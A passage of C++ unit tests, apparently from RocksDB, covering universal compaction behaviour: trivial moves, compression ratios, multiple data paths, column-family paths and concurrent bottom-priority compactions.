kCompactionStyleUniversal; options.write_buffer_size = 105 << 10; // 105KB options.arena_block_size = 4 << 10; // 4KB options.target_file_size_base = 32 << 10; // 32KB options.level0_file_num_compaction_trigger = 4; options.num_levels = num_levels_; options.compaction_options_universal.compression_size_percent = -1; DestroyAndReopen(options); CreateAndReopenWithCF({"pikachu"}, options); Random rnd(301); int key_idx = 0; for (int num = 0; num < options.level0_file_num_compaction_trigger; num++) { // Write 100KB (100 values, each 1K) for (int i = 0; i < 100; i++) { ASSERT_OK(Put(1, Key(key_idx), RandomString(&rnd, 990))); key_idx++; } dbfull()->TEST_WaitForFlushMemTable(handles_[1]); if (num < options.level0_file_num_compaction_trigger - 1) { ASSERT_EQ(NumSortedRuns(1), num + 1); } } dbfull()->TEST_WaitForCompact(); ASSERT_EQ(NumSortedRuns(1), 1); } TEST_P(DBTestUniversalCompaction, UniversalCompactionStopStyleSimilarSize) { Options options = CurrentOptions(); options.compaction_style = kCompactionStyleUniversal; options.write_buffer_size = 105 << 10; // 105KB options.arena_block_size = 4 << 10; // 4KB options.target_file_size_base = 32 << 10; // 32KB // trigger compaction if there are >= 4 files options.level0_file_num_compaction_trigger = 4; options.compaction_options_universal.size_ratio = 10; options.compaction_options_universal.stop_style = kCompactionStopStyleSimilarSize; options.num_levels = num_levels_; DestroyAndReopen(options); Random rnd(301); int key_idx = 0; // Stage 1: // Generate a set of files at level 0, but don't trigger level-0 // compaction. for (int num = 0; num < options.level0_file_num_compaction_trigger - 1; num++) { // Write 100KB (100 values, each 1K) for (int i = 0; i < 100; i++) { ASSERT_OK(Put(Key(key_idx), RandomString(&rnd, 990))); key_idx++; } dbfull()->TEST_WaitForFlushMemTable(); ASSERT_EQ(NumSortedRuns(), num + 1); } // Generate one more file at level-0, which should trigger level-0 // compaction. for (int i = 0; i < 100; i++) { ASSERT_OK(Put(Key(key_idx), RandomString(&rnd, 990))); key_idx++; } dbfull()->TEST_WaitForCompact(); // Suppose each file flushed from mem table has size 1. Now we compact // (level0_file_num_compaction_trigger+1)=4 files and should have a big // file of size 4. ASSERT_EQ(NumSortedRuns(), 1); // Stage 2: // Now we have one file at level 0, with size 4. We also have some data in // mem table. Let's continue generating new files at level 0, but don't // trigger level-0 compaction. // First, clean up memtable before inserting new data. This will generate // a level-0 file, with size around 0.4 (according to previously written // data amount). dbfull()->Flush(FlushOptions()); for (int num = 0; num < options.level0_file_num_compaction_trigger - 3; num++) { // Write 110KB (11 values, each 10K) for (int i = 0; i < 100; i++) { ASSERT_OK(Put(Key(key_idx), RandomString(&rnd, 990))); key_idx++; } dbfull()->TEST_WaitForFlushMemTable(); ASSERT_EQ(NumSortedRuns(), num + 3); } // Generate one more file at level-0, which should trigger level-0 // compaction. for (int i = 0; i < 100; i++) { ASSERT_OK(Put(Key(key_idx), RandomString(&rnd, 990))); key_idx++; } dbfull()->TEST_WaitForCompact(); // Before compaction, we have 4 files at level 0, with size 4, 0.4, 1, 1. // After compaction, we should have 3 files, with size 4, 0.4, 2. ASSERT_EQ(NumSortedRuns(), 3); // Stage 3: // Now we have 3 files at level 0, with size 4, 0.4, 2. Generate one // more file at level-0, which should trigger level-0 compaction. for (int i = 0; i < 100; i++) { ASSERT_OK(Put(Key(key_idx), RandomString(&rnd, 990))); key_idx++; } dbfull()->TEST_WaitForCompact(); // Level-0 compaction is triggered, but no file will be picked up. ASSERT_EQ(NumSortedRuns(), 4); } TEST_P(DBTestUniversalCompaction, UniversalCompactionCompressRatio1) { if (!Snappy_Supported()) { return; } Options options = CurrentOptions(); options.compaction_style = kCompactionStyleUniversal; options.write_buffer_size = 100 << 10; // 100KB options.target_file_size_base = 32 << 10; // 32KB options.level0_file_num_compaction_trigger = 2; options.num_levels = num_levels_; options.compaction_options_universal.compression_size_percent = 70; DestroyAndReopen(options); Random rnd(301); int key_idx = 0; // The first compaction (2) is compressed. for (int num = 0; num < 2; num++) { // Write 110KB (11 values, each 10K) for (int i = 0; i < 11; i++) { ASSERT_OK(Put(Key(key_idx), CompressibleString(&rnd, 10000))); key_idx++; } dbfull()->TEST_WaitForFlushMemTable(); dbfull()->TEST_WaitForCompact(); } ASSERT_LT(TotalSize(), 110000U * 2 * 0.9); // The second compaction (4) is compressed for (int num = 0; num < 2; num++) { // Write 110KB (11 values, each 10K) for (int i = 0; i < 11; i++) { ASSERT_OK(Put(Key(key_idx), CompressibleString(&rnd, 10000))); key_idx++; } dbfull()->TEST_WaitForFlushMemTable(); dbfull()->TEST_WaitForCompact(); } ASSERT_LT(TotalSize(), 110000 * 4 * 0.9); // The third compaction (2 4) is compressed since this time it is // (1 1 3.2) and 3.2/5.2 doesn't reach ratio. for (int num = 0; num < 2; num++) { // Write 110KB (11 values, each 10K) for (int i = 0; i < 11; i++) { ASSERT_OK(Put(Key(key_idx), CompressibleString(&rnd, 10000))); key_idx++; } dbfull()->TEST_WaitForFlushMemTable(); dbfull()->TEST_WaitForCompact(); } ASSERT_LT(TotalSize(), 110000 * 6 * 0.9); // When we start for the compaction up to (2 4 8), the latest // compressed is not compressed. for (int num = 0; num < 8; num++) { // Write 110KB (11 values, each 10K) for (int i = 0; i < 11; i++) { ASSERT_OK(Put(Key(key_idx), CompressibleString(&rnd, 10000))); key_idx++; } dbfull()->TEST_WaitForFlushMemTable(); dbfull()->TEST_WaitForCompact(); } ASSERT_GT(TotalSize(), 110000 * 11 * 0.8 + 110000 * 2); } TEST_P(DBTestUniversalCompaction, UniversalCompactionCompressRatio2) { if (!Snappy_Supported()) { return; } Options options = CurrentOptions(); options.compaction_style = kCompactionStyleUniversal; options.write_buffer_size = 100 << 10; // 100KB options.target_file_size_base = 32 << 10; // 32KB options.level0_file_num_compaction_trigger = 2; options.num_levels = num_levels_; options.compaction_options_universal.compression_size_percent = 95; DestroyAndReopen(options); Random rnd(301); int key_idx = 0; // When we start for the compaction up to (2 4 8), the latest // compressed is compressed given the size ratio to compress. for (int num = 0; num < 14; num++) { // Write 120KB (12 values, each 10K) for (int i = 0; i < 12; i++) { ASSERT_OK(Put(Key(key_idx), CompressibleString(&rnd, 10000))); key_idx++; } dbfull()->TEST_WaitForFlushMemTable(); dbfull()->TEST_WaitForCompact(); } ASSERT_LT(TotalSize(), 120000U * 12 * 0.8 + 120000 * 2); } #ifndef ROCKSDB_VALGRIND_RUN // Test that checks trivial move in universal compaction TEST_P(DBTestUniversalCompaction, UniversalCompactionTrivialMoveTest1) { int32_t trivial_move = 0; int32_t non_trivial_move = 0; rocksdb::SyncPoint::GetInstance()->SetCallBack( "DBImpl::BackgroundCompaction:TrivialMove", [&](void* /*arg*/) { trivial_move++; }); rocksdb::SyncPoint::GetInstance()->SetCallBack( "DBImpl::BackgroundCompaction:NonTrivial", [&](void* arg) { non_trivial_move++; ASSERT_TRUE(arg != nullptr); int output_level = *(static_cast<int*>(arg)); ASSERT_EQ(output_level, 0); }); rocksdb::SyncPoint::GetInstance()->EnableProcessing(); Options options = CurrentOptions(); options.compaction_style = kCompactionStyleUniversal; options.compaction_options_universal.allow_trivial_move = true; options.num_levels = 2; options.write_buffer_size = 100 << 10; // 100KB options.level0_file_num_compaction_trigger = 3; options.max_background_compactions = 1; options.target_file_size_base = 32 * 1024; DestroyAndReopen(options); CreateAndReopenWithCF({"pikachu"}, options); // Trigger compaction if size amplification exceeds 110% options.compaction_options_universal.max_size_amplification_percent = 110; options = CurrentOptions(options); ReopenWithColumnFamilies({"default", "pikachu"}, options); Random rnd(301); int num_keys = 250000; for (int i = 0; i < num_keys; i++) { ASSERT_OK(Put(1, Key(i), Key(i))); } std::vector<std::string> values; ASSERT_OK(Flush(1)); dbfull()->TEST_WaitForCompact(); ASSERT_GT(trivial_move, 0); ASSERT_GT(non_trivial_move, 0); rocksdb::SyncPoint::GetInstance()->DisableProcessing(); } // Test that checks trivial move in universal compaction TEST_P(DBTestUniversalCompaction, UniversalCompactionTrivialMoveTest2) { int32_t trivial_move = 0; rocksdb::SyncPoint::GetInstance()->SetCallBack( "DBImpl::BackgroundCompaction:TrivialMove", [&](void* /*arg*/) { trivial_move++; }); rocksdb::SyncPoint::GetInstance()->SetCallBack( "DBImpl::BackgroundCompaction:NonTrivial", [&](void* arg) { ASSERT_TRUE(arg != nullptr); int output_level = *(static_cast<int*>(arg)); ASSERT_EQ(output_level, 0); }); rocksdb::SyncPoint::GetInstance()->EnableProcessing(); Options options = CurrentOptions(); options.compaction_style = kCompactionStyleUniversal; options.compaction_options_universal.allow_trivial_move = true; options.num_levels = 15; options.write_buffer_size = 100 << 10; // 100KB options.level0_file_num_compaction_trigger = 8; options.max_background_compactions = 2; options.target_file_size_base = 64 * 1024; DestroyAndReopen(options); CreateAndReopenWithCF({"pikachu"}, options); // Trigger compaction if size amplification exceeds 110% options.compaction_options_universal.max_size_amplification_percent = 110; options = CurrentOptions(options); ReopenWithColumnFamilies({"default", "pikachu"}, options); Random rnd(301); int num_keys = 500000; for (int i = 0; i < num_keys; i++) { ASSERT_OK(Put(1, Key(i), Key(i))); } std::vector<std::string> values; ASSERT_OK(Flush(1)); dbfull()->TEST_WaitForCompact(); ASSERT_GT(trivial_move, 0); rocksdb::SyncPoint::GetInstance()->DisableProcessing(); } #endif // ROCKSDB_VALGRIND_RUN TEST_P(DBTestUniversalCompaction, UniversalCompactionFourPaths) { Options options = CurrentOptions(); options.db_paths.emplace_back(dbname_, 300 * 1024); options.db_paths.emplace_back(dbname_ + "_2", 300 * 1024); options.db_paths.emplace_back(dbname_ + "_3", 500 * 1024); options.db_paths.emplace_back(dbname_ + "_4", 1024 * 1024 * 1024); options.memtable_factory.reset( new SpecialSkipListFactory(KNumKeysByGenerateNewFile - 1)); options.compaction_style = kCompactionStyleUniversal; options.compaction_options_universal.size_ratio = 5; options.write_buffer_size = 111 << 10; // 114KB options.arena_block_size = 4 << 10; options.level0_file_num_compaction_trigger = 2; options.num_levels = 1; std::vector<std::string> filenames; env_->GetChildren(options.db_paths[1].path, &filenames); // Delete archival files. for (size_t i = 0; i < filenames.size(); ++i) { env_->DeleteFile(options.db_paths[1].path + "/" + filenames[i]); } env_->DeleteDir(options.db_paths[1].path); Reopen(options); Random rnd(301); int key_idx = 0; // First three 110KB files are not going to second path. // After that, (100K, 200K) for (int num = 0; num < 3; num++) { GenerateNewFile(&rnd, &key_idx); } // Another 110KB triggers a compaction to 400K file to second path GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(1, GetSstFileCount(options.db_paths[2].path)); // (1, 4) GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(1, GetSstFileCount(options.db_paths[2].path)); ASSERT_EQ(1, GetSstFileCount(dbname_)); // (1,1,4) -> (2, 4) GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(1, GetSstFileCount(options.db_paths[2].path)); ASSERT_EQ(1, GetSstFileCount(options.db_paths[1].path)); ASSERT_EQ(0, GetSstFileCount(dbname_)); // (1, 2, 4) -> (3, 4) GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(1, GetSstFileCount(options.db_paths[2].path)); ASSERT_EQ(1, GetSstFileCount(options.db_paths[1].path)); ASSERT_EQ(0, GetSstFileCount(dbname_)); // (1, 3, 4) -> (8) GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(1, GetSstFileCount(options.db_paths[3].path)); // (1, 8) GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(1, GetSstFileCount(options.db_paths[3].path)); ASSERT_EQ(1, GetSstFileCount(dbname_)); // (1, 1, 8) -> (2, 8) GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(1, GetSstFileCount(options.db_paths[3].path)); ASSERT_EQ(1, GetSstFileCount(options.db_paths[1].path)); // (1, 2, 8) -> (3, 8) GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(1, GetSstFileCount(options.db_paths[3].path)); ASSERT_EQ(1, GetSstFileCount(options.db_paths[1].path)); ASSERT_EQ(0, GetSstFileCount(dbname_)); // (1, 3, 8) -> (4, 8) GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(1, GetSstFileCount(options.db_paths[2].path)); ASSERT_EQ(1, GetSstFileCount(options.db_paths[3].path)); // (1, 4, 8) -> (5, 8) GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(1, GetSstFileCount(options.db_paths[3].path)); ASSERT_EQ(1, GetSstFileCount(options.db_paths[2].path)); ASSERT_EQ(0, GetSstFileCount(dbname_)); for (int i = 0; i < key_idx; i++) { auto v = Get(Key(i)); ASSERT_NE(v, "NOT_FOUND"); ASSERT_TRUE(v.size() == 1 || v.size() == 990); } Reopen(options); for (int i = 0; i < key_idx; i++) { auto v = Get(Key(i)); ASSERT_NE(v, "NOT_FOUND"); ASSERT_TRUE(v.size() == 1 || v.size() == 990); } Destroy(options); } TEST_P(DBTestUniversalCompaction, UniversalCompactionCFPathUse) { Options options = CurrentOptions(); options.db_paths.emplace_back(dbname_, 300 * 1024); options.db_paths.emplace_back(dbname_ + "_2", 300 * 1024); options.db_paths.emplace_back(dbname_ + "_3", 500 * 1024); options.db_paths.emplace_back(dbname_ + "_4", 1024 * 1024 * 1024); options.memtable_factory.reset( new SpecialSkipListFactory(KNumKeysByGenerateNewFile - 1)); options.compaction_style = kCompactionStyleUniversal; options.compaction_options_universal.size_ratio = 10; options.write_buffer_size = 111 << 10; // 114KB options.arena_block_size = 4 << 10; options.level0_file_num_compaction_trigger = 2; options.num_levels = 1; std::vector<Options> option_vector; option_vector.emplace_back(options); ColumnFamilyOptions cf_opt1(options), cf_opt2(options); // Configure CF1 specific paths. cf_opt1.cf_paths.emplace_back(dbname_ + "cf1", 300 * 1024); cf_opt1.cf_paths.emplace_back(dbname_ + "cf1_2", 300 * 1024); cf_opt1.cf_paths.emplace_back(dbname_ + "cf1_3", 500 * 1024); cf_opt1.cf_paths.emplace_back(dbname_ + "cf1_4", 1024 * 1024 * 1024); option_vector.emplace_back(DBOptions(options), cf_opt1); CreateColumnFamilies({"one"},option_vector[1]); // Configura CF2 specific paths. cf_opt2.cf_paths.emplace_back(dbname_ + "cf2", 300 * 1024); cf_opt2.cf_paths.emplace_back(dbname_ + "cf2_2", 300 * 1024); cf_opt2.cf_paths.emplace_back(dbname_ + "cf2_3", 500 * 1024); cf_opt2.cf_paths.emplace_back(dbname_ + "cf2_4", 1024 * 1024 * 1024); option_vector.emplace_back(DBOptions(options), cf_opt2); CreateColumnFamilies({"two"},option_vector[2]); ReopenWithColumnFamilies({"default", "one", "two"}, option_vector); Random rnd(301); int key_idx = 0; int key_idx1 = 0; int key_idx2 = 0; auto generate_file = [&]() { GenerateNewFile(0, &rnd, &key_idx); GenerateNewFile(1, &rnd, &key_idx1); GenerateNewFile(2, &rnd, &key_idx2); }; auto check_sstfilecount = [&](int path_id, int expected) { ASSERT_EQ(expected, GetSstFileCount(options.db_paths[path_id].path)); ASSERT_EQ(expected, GetSstFileCount(cf_opt1.cf_paths[path_id].path)); ASSERT_EQ(expected, GetSstFileCount(cf_opt2.cf_paths[path_id].path)); }; auto check_getvalues = [&]() { for (int i = 0; i < key_idx; i++) { auto v = Get(0, Key(i)); ASSERT_NE(v, "NOT_FOUND"); ASSERT_TRUE(v.size() == 1 || v.size() == 990); } for (int i = 0; i < key_idx1; i++) { auto v = Get(1, Key(i)); ASSERT_NE(v, "NOT_FOUND"); ASSERT_TRUE(v.size() == 1 || v.size() == 990); } for (int i = 0; i < key_idx2; i++) { auto v = Get(2, Key(i)); ASSERT_NE(v, "NOT_FOUND"); ASSERT_TRUE(v.size() == 1 || v.size() == 990); } }; // First three 110KB files are not going to second path. // After that, (100K, 200K) for (int num = 0; num < 3; num++) { generate_file(); } // Another 110KB triggers a compaction to 400K file to second path generate_file(); check_sstfilecount(2, 1); // (1, 4) generate_file(); check_sstfilecount(2, 1); check_sstfilecount(0, 1); // (1,1,4) -> (2, 4) generate_file(); check_sstfilecount(2, 1); check_sstfilecount(1, 1); check_sstfilecount(0, 0); // (1, 2, 4) -> (3, 4) generate_file(); check_sstfilecount(2, 1); check_sstfilecount(1, 1); check_sstfilecount(0, 0); // (1, 3, 4) -> (8) generate_file(); check_sstfilecount(3, 1); // (1, 8) generate_file(); check_sstfilecount(3, 1); check_sstfilecount(0, 1); // (1, 1, 8) -> (2, 8) generate_file(); check_sstfilecount(3, 1); check_sstfilecount(1, 1); // (1, 2, 8) -> (3, 8) generate_file(); check_sstfilecount(3, 1); check_sstfilecount(1, 1); check_sstfilecount(0, 0); // (1, 3, 8) -> (4, 8) generate_file(); check_sstfilecount(2, 1); check_sstfilecount(3, 1); // (1, 4, 8) -> (5, 8) generate_file(); check_sstfilecount(3, 1); check_sstfilecount(2, 1); check_sstfilecount(0, 0); check_getvalues(); ReopenWithColumnFamilies({"default", "one", "two"}, option_vector); check_getvalues(); Destroy(options, true); } TEST_P(DBTestUniversalCompaction, IncreaseUniversalCompactionNumLevels) { std::function<void(int)> verify_func = [&](int num_keys_in_db) { std::string keys_in_db; Iterator* iter = dbfull()->NewIterator(ReadOptions(), handles_[1]); for (iter->SeekToFirst(); iter->Valid(); iter->Next()) { keys_in_db.append(iter->key().ToString()); keys_in_db.push_back(','); } delete iter; std::string expected_keys; for (int i = 0; i <= num_keys_in_db; i++) { expected_keys.append(Key(i)); expected_keys.push_back(','); } ASSERT_EQ(keys_in_db, expected_keys); }; Random rnd(301); int max_key1 = 200; int max_key2 = 600; int max_key3 = 800; const int KNumKeysPerFile = 10; // Stage 1: open a DB with universal compaction, num_levels=1 Options options = CurrentOptions(); options.compaction_style = kCompactionStyleUniversal; options.num_levels = 1; options.write_buffer_size = 200 << 10; // 200KB options.level0_file_num_compaction_trigger = 3; options.memtable_factory.reset(new SpecialSkipListFactory(KNumKeysPerFile)); options = CurrentOptions(options); CreateAndReopenWithCF({"pikachu"}, options); for (int i = 0; i <= max_key1; i++) { // each value is 10K ASSERT_OK(Put(1, Key(i), RandomString(&rnd, 10000))); dbfull()->TEST_WaitForFlushMemTable(handles_[1]); dbfull()->TEST_WaitForCompact(); } ASSERT_OK(Flush(1)); dbfull()->TEST_WaitForCompact(); // Stage 2: reopen with universal compaction, num_levels=4 options.compaction_style = kCompactionStyleUniversal; options.num_levels = 4; options = CurrentOptions(options); ReopenWithColumnFamilies({"default", "pikachu"}, options); verify_func(max_key1); // Insert more keys for (int i = max_key1 + 1; i <= max_key2; i++) { // each value is 10K ASSERT_OK(Put(1, Key(i), RandomString(&rnd, 10000))); dbfull()->TEST_WaitForFlushMemTable(handles_[1]); dbfull()->TEST_WaitForCompact(); } ASSERT_OK(Flush(1)); dbfull()->TEST_WaitForCompact(); verify_func(max_key2); // Compaction to non-L0 has happened. ASSERT_GT(NumTableFilesAtLevel(options.num_levels - 1, 1), 0); // Stage 3: Revert it back to one level and revert to num_levels=1. options.num_levels = 4; options.target_file_size_base = INT_MAX; ReopenWithColumnFamilies({"default", "pikachu"}, options); // Compact all to level 0 CompactRangeOptions compact_options; compact_options.change_level = true; compact_options.target_level = 0; compact_options.exclusive_manual_compaction = exclusive_manual_compaction_; dbfull()->CompactRange(compact_options, handles_[1], nullptr, nullptr); // Need to restart it once to remove higher level records in manifest. ReopenWithColumnFamilies({"default", "pikachu"}, options); // Final reopen options.compaction_style = kCompactionStyleUniversal; options.num_levels = 1; options = CurrentOptions(options); ReopenWithColumnFamilies({"default", "pikachu"}, options); // Insert more keys for (int i = max_key2 + 1; i <= max_key3; i++) { // each value is 10K ASSERT_OK(Put(1, Key(i), RandomString(&rnd, 10000))); dbfull()->TEST_WaitForFlushMemTable(handles_[1]); dbfull()->TEST_WaitForCompact(); } ASSERT_OK(Flush(1)); dbfull()->TEST_WaitForCompact(); verify_func(max_key3); } TEST_P(DBTestUniversalCompaction, UniversalCompactionSecondPathRatio) { if (!Snappy_Supported()) { return; } Options options = CurrentOptions(); options.db_paths.emplace_back(dbname_, 500 * 1024); options.db_paths.emplace_back(dbname_ + "_2", 1024 * 1024 * 1024); options.compaction_style = kCompactionStyleUniversal; options.compaction_options_universal.size_ratio = 5; options.write_buffer_size = 111 << 10; // 114KB options.arena_block_size = 4 << 10; options.level0_file_num_compaction_trigger = 2; options.num_levels = 1; options.memtable_factory.reset( new SpecialSkipListFactory(KNumKeysByGenerateNewFile - 1)); std::vector<std::string> filenames; env_->GetChildren(options.db_paths[1].path, &filenames); // Delete archival files. for (size_t i = 0; i < filenames.size(); ++i) { env_->DeleteFile(options.db_paths[1].path + "/" + filenames[i]); } env_->DeleteDir(options.db_paths[1].path); Reopen(options); Random rnd(301); int key_idx = 0; // First three 110KB files are not going to second path. // After that, (100K, 200K) for (int num = 0; num < 3; num++) { GenerateNewFile(&rnd, &key_idx); } // Another 110KB triggers a compaction to 400K file to second path GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(1, GetSstFileCount(options.db_paths[1].path)); // (1, 4) GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(1, GetSstFileCount(options.db_paths[1].path)); ASSERT_EQ(1, GetSstFileCount(dbname_)); // (1,1,4) -> (2, 4) GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(1, GetSstFileCount(options.db_paths[1].path)); ASSERT_EQ(1, GetSstFileCount(dbname_)); // (1, 2, 4) -> (3, 4) GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(2, GetSstFileCount(options.db_paths[1].path)); ASSERT_EQ(0, GetSstFileCount(dbname_)); // (1, 3, 4) -> (8) GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(1, GetSstFileCount(options.db_paths[1].path)); ASSERT_EQ(0, GetSstFileCount(dbname_)); // (1, 8) GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(1, GetSstFileCount(options.db_paths[1].path)); ASSERT_EQ(1, GetSstFileCount(dbname_)); // (1, 1, 8) -> (2, 8) GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(1, GetSstFileCount(options.db_paths[1].path)); ASSERT_EQ(1, GetSstFileCount(dbname_)); // (1, 2, 8) -> (3, 8) GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(2, GetSstFileCount(options.db_paths[1].path)); ASSERT_EQ(0, GetSstFileCount(dbname_)); // (1, 3, 8) -> (4, 8) GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(2, GetSstFileCount(options.db_paths[1].path)); ASSERT_EQ(0, GetSstFileCount(dbname_)); // (1, 4, 8) -> (5, 8) GenerateNewFile(&rnd, &key_idx); ASSERT_EQ(2, GetSstFileCount(options.db_paths[1].path)); ASSERT_EQ(0, GetSstFileCount(dbname_)); for (int i = 0; i < key_idx; i++) { auto v = Get(Key(i)); ASSERT_NE(v, "NOT_FOUND"); ASSERT_TRUE(v.size() == 1 || v.size() == 990); } Reopen(options); for (int i = 0; i < key_idx; i++) { auto v = Get(Key(i)); ASSERT_NE(v, "NOT_FOUND"); ASSERT_TRUE(v.size() == 1 || v.size() == 990); } Destroy(options); } TEST_P(DBTestUniversalCompaction, ConcurrentBottomPriLowPriCompactions) { if (num_levels_ == 1) { // for single-level universal, everything's bottom level so nothing should // be executed in bottom-pri thread pool. return; } const int kNumFilesTrigger = 3; Env::Default()->SetBackgroundThreads(1, Env::Priority::BOTTOM); Options options = CurrentOptions(); options.compaction_style = kCompactionStyleUniversal; options.num_levels = num_levels_; options.write_buffer_size = 100 << 10; // 100KB options.target_file_size_base = 32 << 10; // 32KB options.level0_file_num_compaction_trigger = kNumFilesTrigger; // Trigger compaction if size amplification exceeds 110% options.compaction_options_universal.max_size_amplification_percent = 110; DestroyAndReopen(options); rocksdb::SyncPoint::GetInstance()->LoadDependency( {// wait for the full compaction to be picked before adding files intended // for the second one. {"DBImpl::BackgroundCompaction:ForwardToBottomPriPool", "DBTestUniversalCompaction:ConcurrentBottomPriLowPriCompactions:0"}, // the full (bottom-pri) compaction waits until a partial (low-pri) // compaction has started to verify they can run in parallel. {"DBImpl::BackgroundCompaction:NonTrivial", "DBImpl::BGWorkBottomCompaction"}}); SyncPoint::GetInstance()->EnableProcessing(); Random rnd(301); for (int i = 0; i < 2; ++i) { for (int num = 0; num < kNumFilesTrigger; num++) { int key_idx = 0; GenerateNewFile(&rnd, &key_idx, true /* no_wait */); // use no_wait above because that one waits for flush and compaction. We // don't want to wait for compaction because the full compaction is // intentionally blocked while more files are flushed. dbfull()->TEST_WaitForFlushMemTable(); } if (i == 0) { TEST_SYNC_POINT( "DBTestUniversalCompaction:ConcurrentBottomPriLowPriCompactions:0"); } } dbfull()->TEST_WaitForCompact(); // First compaction should output to bottom level. Second should output to L0 // since older L0 files pending compaction prevent it from being placed lower. ASSERT_EQ(NumSortedRuns(), 2); ASSERT_GT(NumTableFilesAtLevel(0), 0); ASSERT_GT(NumTableFilesAtLevel(num_levels_ - 1), 0); rocksdb::SyncPoint::GetInstance()->DisableProcessing(); Env::Default()->SetBackgroundThreads(0, Env::Priority::BOTTOM); } TEST_P(DBTestUniversalCompaction, RecalculateScoreAfterPicking) { // Regression test for extra compactions scheduled. Once enough compactions // have been scheduled to bring the score below one, we should stop // scheduling more; otherwise, other CFs/DBs may be delayed unnecessarily. const int kNumFilesTrigger = 8; Options options = CurrentOptions(); options.compaction_options_universal.max_merge_width = kNumFilesTrigger / 2; options.compaction_options_universal.max_size_amplification_percent = static_cast<unsigned int>(-1); options.compaction_style = kCompactionStyleUniversal; options.level0_file_num_compaction_trigger = kNumFilesTrigger; options.num_levels = num_levels_; options.write_buffer_size = 100 << 10; // 100KB Reopen(options); std::atomic<int> num_compactions_attempted(0); rocksdb::SyncPoint::GetInstance()->SetCallBack( "DBImpl::BackgroundCompaction:Start", [&](void* /*arg*/) { ++num_compactions_attempted; }); rocksdb::SyncPoint::GetInstance()->EnableProcessing(); Random rnd(301); for (int num = 0; num < kNumFilesTrigger; num++) { ASSERT_EQ(NumSortedRuns(), num); int key_idx = 0; GenerateNewFile(&rnd, &key_idx); } dbfull()->TEST_WaitForCompact(); // Compacting the first four files was enough to bring the score below one so // there's no need to schedule any more compactions. ASSERT_EQ(1, num_compactions_attempted); ASSERT_EQ(NumSortedRuns(), 5); } TEST_P(DBTestUniversalCompaction, FinalSortedRunCompactFilesConflict) { // Regression test for conflict between: // (1) Running CompactFiles including file in the final sorted run; and // (2) Picking universal size-amp-triggered compaction, which always includes // the final sorted run. if (exclusive_manual_compaction_) { return; } Options opts = CurrentOptions(); opts.compaction_style = kCompactionStyleUniversal; opts.compaction_options_universal.max_size_amplification_percent = 50; opts.compaction_options_universal.min_merge_width = 2; opts.compression = kNoCompression; opts.level0_file_num_compaction_trigger = 2; opts.max_background_compactions = 2; opts.num_levels = num_levels_; Reopen(opts); // make sure compaction jobs can be parallelized auto stop_token = dbfull()->TEST_write_controler().GetCompactionPressureToken(); Put("key", "val"); Flush(); dbfull()->CompactRange(CompactRangeOptions(), nullptr, nullptr); ASSERT_EQ(NumTableFilesAtLevel(num_levels_ - 1), 1); ColumnFamilyMetaData cf_meta; ColumnFamilyHandle* default_cfh = db_->DefaultColumnFamily(); dbfull()->GetColumnFamilyMetaData(default_cfh, &cf_meta); ASSERT_EQ(1, cf_meta.levels[num_levels_ - 1].files.size()); std::string first_sst_filename = cf_meta.levels[num_levels_ - 1].files[0].name; rocksdb::SyncPoint::GetInstance()->LoadDependency( {{"CompactFilesImpl:0", "DBTestUniversalCompaction:FinalSortedRunCompactFilesConflict:0"}, {"DBImpl::BackgroundCompaction():AfterPickCompaction", "CompactFilesImpl:1"}}); rocksdb::SyncPoint::GetInstance()->EnableProcessing(); port::Thread compact_files_thread([&]() { ASSERT_OK(dbfull()->CompactFiles(CompactionOptions(), default_cfh, {first_sst_filename}, num_levels_ - 1)); }); TEST_SYNC_POINT( "DBTestUniversalCompaction:FinalSortedRunCompactFilesConflict:0"); for (int i = 0; i < 2; ++i) { Put("key", "val"); Flush(); } dbfull()->TEST_WaitForCompact(); compact_files_thread.join(); } INSTANTIATE_TEST_CASE_P(UniversalCompactionNumLevels, DBTestUniversalCompaction, ::testing::Combine(::testing::Values(1, 3, 5), ::testing::Bool())); class DBTestUniversalManualCompactionOutputPathId : public DBTestUniversalCompactionBase { public: DBTestUniversalManualCompactionOutputPathId() : DBTestUniversalCompactionBase( "/db_universal_compaction_manual_pid_test") {} }; TEST_P(DBTestUniversalManualCompactionOutputPathId, ManualCompactionOutputPathId) { Options options = CurrentOptions(); options.create_if_missing = true; options.db_paths.emplace_back(dbname_, 1000000000); options.db_paths.emplace_back(dbname_ + "_2", 1000000000); options.compaction_style = kCompactionStyleUniversal; options.num_levels = num_levels_; options.target_file_size_base = 1 << 30; // Big size options.level0_file_num_compaction_trigger = 10; Destroy(options); DestroyAndReopen(options); CreateAndReopenWithCF({"pikachu"}, options); MakeTables(3, "p", "q", 1); dbfull()->TEST_WaitForCompact(); ASSERT_EQ(2, TotalLiveFiles(1)); ASSERT_EQ(2, GetSstFileCount(options.db_paths[0].path)); ASSERT_EQ(0, GetSstFileCount(options.db_paths[1].path)); // Full compaction to DB path 0 CompactRangeOptions compact_options; compact_options.target_path_id = 1; compact_options.exclusive_manual_compaction = exclusive_manual_compaction_; db_->CompactRange(compact_options, handles_[1], nullptr, nullptr); ASSERT_EQ(1, TotalLiveFiles(1)); ASSERT_EQ(0, GetSstFileCount(options.db_paths[0].path)); ASSERT_EQ(1, GetSstFileCount(options.db_paths[1].path)); ReopenWithColumnFamilies({kDefaultColumnFamilyName, "pikachu"}, options); ASSERT_EQ(1, TotalLiveFiles(1)); ASSERT_EQ(0, GetSstFileCount(options.db_paths[0].path)); ASSERT_EQ(1, GetSstFileCount(options.db_paths[1].path)); MakeTables(1, "p", "q", 1); ASSERT_EQ(2, TotalLiveFiles(1)); ASSERT_EQ(1, GetSstFileCount(options.db_paths[0].path)); ASSERT_EQ(1, 